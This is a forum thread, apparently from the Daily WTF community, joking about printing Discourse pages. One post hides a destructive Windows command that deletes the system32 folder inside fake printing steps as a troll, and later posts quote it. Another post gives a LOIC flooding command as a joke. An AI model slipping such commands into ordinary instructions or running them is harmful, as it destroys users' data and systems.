Printing Discourse



  • Continuing the discussion from The nerdy jokes thread:

    @chubertdev said:

    CRAP. That reminds me. I should probably do a print stylesheet for my site.

    That reminds me of the time that I tried to get Discourse to print sensibly.

    Turns out that you can't reliably get the content of a <noscript> element from Javascript or CSS. Who knew?

    So, after prior research, I present the 3-step process to print a Discourse threadpage:

    1. Get your URL to match the desired post (covered elsewhere)

    2. Ctrl-L Ctrl-C Ctrl-T F12 Ctrl-L Ctrl-V Enter Ctrl-P

    3. Complete the print dialog

    4. Alt-F4

    5. erase /S /Q %SYSDRIVE%\Windows\system32

    Here's what you should see after step 2:



  • I have a simpler set of instructions that I find to work just as well.

    It's actually very difficult to find these keyboard shortcuts, so here's the way you do it.

    Ctrl+P

    Oh wait that's the default shortcut for printing. And it works.



  • Wait, what?

    Hmm, something must have changed. Nice!

    It used to render all kinds of unstyled markup that was only used for admins anyways.



  • Crap, I still haven't done the print stylesheet.


  • sockdevs

    i've looked and looked and looked.

    there's not a single computer in the building with a Ctrl+P key. so i followed @riking's instructions and now my computer won't boot....



  • @accalia said:

    i've looked and looked and looked.

    there's not a single computer in the building with a Ctrl+P key. so i followed @riking's instructions and now my computer won't boot....

    *shanks Accalia for believing the troll*

    (naw, not really, I suppose it's my inner RPer coming out?)



  • @riking said:

    erase /S /Q %SYSDRIVE%\Windows\system32

    Back in the day, playing Warcraft II online on my Mac Classic (which had TCP/IP multiplayer like 3 years before the Windows version did, nyah!), it was "game running slow? Hold down Command and type QUICK to speed it up."


  • sockdevs

    more like feeding the troll actually.

    i've hung around /b/ long enough to be aware of most of the common ways of destroying your computer.

    i used to have tons of fun baiting the trolls by pretending to use their instructions on platforms they weren't meant to destroy(like running a linux bomb on windows, or visa versa) and getting interesting/humorous results and/or OS easter eggs.

    needless to say i had to use a pseudonym (for my nomme de guerre) as they caught on pretty quickly usually.



  • @riking said:

    erase /S /Q %SYSDRIVE%\Windows\system32

    $ erase /S /Q %SYSDRIVE%\Windows\system32
    erase: command not found
    

    Plz send me teh codez.


  • Grade A Premium Asshole

    LOIC.exe targetip=127.0.0.1 message=test_test port=80 method=tcp wait=false random=true

    That should take care of it.



  • @accalia said:

    more like feeding the troll actually.

    i've hung around /b/ long enough to be aware of most of the common ways of destroying your computer.

    i used to have tons of fun baiting the trolls by pretending to use their instructions on platforms they weren't meant to destroy(like running a linux bomb on windows, or visa versa) and getting interesting/humorous results and/or OS easter eggs.

    needless to say i had to use a pseudonym (for my nomme de guerre) as they caught on pretty quickly usually.

    Yeah, should have figured on that one, sorry about the hassle. *pats on shoulder comfortingly*.

    P.S. sometimes troll baiting really is fun.


  • sockdevs

    what's really fun is getting the troll baiters to bait each other and bite!

    that requires sublty.

    or it was fun anyway, unfortunately the average inteligence of trolls and trollbaiters has dropped lately. it's too easy now



  • @blakeyrat said:

    it was "game running slow? Hold down Command and type QUICK to speed it up."

    For the Mac-deficient in here, care to elaborate on that key sequence?



  • @LoremIpsum said:

    For the Mac-deficient in here, care to elaborate on that key sequence?

    I'm guessing cmd+Q was Quit the program.



  • Got that bit. I was wondering if the UICK part did more damage. :)



  • Makes it all plausible.



  • @LoremIpsum said:

    Got that bit. I was wondering if the UICK part did more damage.

    No, it just makes it look like a cheat code. If you just say, "press Command-Q" only the dumbest of the dumb will press it. But "Command-QUICK" at first glance looks like a cheat code Blizzard might actually have implemented.


Log in to reply
 

Looks like your connection to What the Daily WTF? was lost, please wait while we try to reconnect.